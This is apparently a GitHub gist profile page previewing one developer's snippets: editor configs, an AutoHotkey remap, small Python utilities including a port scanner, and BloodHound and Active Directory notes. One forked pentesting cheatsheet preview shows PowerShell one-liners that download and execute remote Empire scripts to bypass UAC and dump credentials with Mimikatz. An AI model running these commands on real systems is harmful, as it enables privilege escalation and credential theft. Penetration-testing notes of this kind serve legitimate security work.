Skip to content

Instantly share code, notes, and snippets.

View adamdekan's full-sized avatar
🎯
Focusing

Adam Dekan adamdekan

🎯
Focusing
View GitHub Profile
@adamdekan
adamdekan / CapsLock.ahk
Last active May 23, 2025 10:16
Ahk v2 CapsLock to Esc/Ctrl
*CapsLock::
{
Send "{LControl down}"
}
*CapsLock up::
{
Send "{LControl Up}"
if (A_PriorKey=="CapsLock"){
@adamdekan
adamdekan / init.vim
Last active August 31, 2024 14:15
simple neovim config file, no plugins or dependecies
set nocompatible " disable compatibility to old-time vi
set showmatch " show matching
set ignorecase " case insensitive
set mouse=v " middle-click paste with
set hlsearch " highlight search
set incsearch " incremental search
set tabstop=4 " number of columns occupied by a tab
set softtabstop=4 " see multiple spaces as tabstops so <BS> does the right thing
set expandtab " converts tabs to white space
set shiftwidth=4 " width for autoindents
@adamdekan
adamdekan / timediff_df_calc.py
Created August 31, 2024 13:57
Task time analysis
import random
from datetime import datetime, timedelta
import pandas as pd
# List of random task names
task_names = [
"Project Planning",
"Code Review",
"Bug Fixing",
@adamdekan
adamdekan / port_scanner.py
Created August 31, 2024 13:20
No dependency python port scanner
import concurrent.futures
import ipaddress
import socket
def scan_port(ip, port):
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(1)
result = s.connect_ex((str(ip), port))
@adamdekan
adamdekan / csv_compare.py
Created August 31, 2024 13:17
Compare csv files and add missing columns
import csv
from typing import Dict, List
import click
@click.command()
@click.argument("file1", type=click.Path(exists=True))
@click.argument("file2", type=click.Path(exists=True))
@click.argument("output", type=click.Path())
@adamdekan
adamdekan / cypherqueries.md
Created May 23, 2024 09:19 — forked from seajaysec/cypherqueries.md
custom bloodhound queries for the neo4j console

Cypher Queries

Cypher Queries can be entered into the neo4j console, accessible at http://localhost:7474. These often return text-based content. There's a max of 1000 displayed rows within the console, however each query result can be downloaded as a CSV for more in depth analysis. When pasting, replace all instances of "EXAMPLE.COM" with the domain name that you are operating on. These are from a wide range of sources. A lot of them came or were inspired by discussions on the Bloodhound Slack.

Basic

Generate list of all operating systems

MATCH (c:Computer)
sort -t . -k 3,3n -k 4,4n
@adamdekan
adamdekan / init.lua
Created April 21, 2024 15:01
kickstart nvim custom
vim.keymap.set({ 'n', 'v' }, '<Space>', '<Nop>', { silent = true })
vim.keymap.set({ 'n', 'v' }, '<C-s>', ':w<enter>', { silent = true })
vim.keymap.set({ 'n', 'v' }, '<leader>rr', ':w<enter>:!python3 %<enter>', { silent = true , desc = 'Run Python file'})
vim.keymap.set({ 'n', 'v' }, '<C-d>', '<C-d>zz', { silent = true })
vim.keymap.set({ 'n', 'v' }, '<C-u>', '<C-u>zz', { silent = true })
vim.keymap.set('n', '<leader>qq', ':q!<enter>', { silent = true })
vim.keymap.set('n', 'n', 'nzz', { silent = true })
vim.keymap.set('n', 'N', 'Nzz', { silent = true })
vim.keymap.set('n', '*', '*zz', { silent = true })
vim.keymap.set('n', '<S-h>', ':bprevious<enter>', { silent = true })
@adamdekan
adamdekan / pentesting_cheatsheet.ps1
Created January 25, 2024 16:02 — forked from moscowchill/pentesting_cheatsheet.ps1
Intern Pentesting notes
[+] Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.
#Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command]
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'"
#Invoke-Mimikatz: Dump credentials from memory
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"
#Import Mimikatz Module to run further commands
powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')"
@adamdekan
adamdekan / ad_cheatsheet.md
Created January 12, 2024 16:55
Active Directory Cheatsheet

Active Directory Cheatsheet

  • Users / Groups / Computers
  • Domain Controller
  • Service Principal Names (SPNs)
  • Logged-in Users and Active User Sessions
  • Dumping NTLM hashes and Plaintext Credentials